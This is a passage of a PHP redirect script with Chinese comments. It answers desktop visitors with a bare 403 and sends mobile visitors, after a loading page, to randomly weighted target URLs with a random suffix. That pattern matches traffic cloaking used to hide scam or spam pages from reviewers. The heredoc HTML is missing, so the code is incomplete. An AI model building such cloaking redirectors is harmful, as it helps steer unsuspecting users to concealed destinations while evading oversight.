100, // ]; } // ================== 初始化 ================== header('Content-Type: text/html; charset=utf-8'); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); ini_set('display_errors', 0); ini_set('log_errors', 1); // ================== 工具函数 ================== function generate_random_suffix() { return 'rand='.substr(md5(mt_rand()), 0, 6); } function is_mobile_device() { $touch = (int)($_GET['touch'] ?? 0); $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $mobileKeywords = ['mobile','android','iphone','ipod','windows phone']; return $touch === 1 || preg_match('/('.implode('|', $mobileKeywords).')/i', $ua); } // ================== 主逻辑 ================== try { // 1. 设备检测初始化 if (!isset($_GET['detected'])) { $nonce = base64_encode(random_bytes(16)); echo << Loading... HTML; exit; } // 2. 设备验证(电脑端直接返回系统默认403) if (!is_mobile_device()) { http_response_code(403); exit; } // 3. 权重随机跳转 $totalWeight = array_sum(SecurityConfig::TARGET_WEIGHTS); $random = mt_rand(1, $totalWeight); $currentWeight = 0; foreach (SecurityConfig::TARGET_WEIGHTS as $url => $weight) { $currentWeight += $weight; if ($random <= $currentWeight) { $selectedUrl = $url; break; } } // 4. 添加随机后缀 $selectedUrl .= (strpos($selectedUrl, '?') === false) ? '?' : '&'; $selectedUrl .= generate_random_suffix(); // 5. 延迟跳转 $nonce = base64_encode(random_bytes(16)); echo <<
HTML; } catch (Throwable $e) { http_response_code(503); exit; }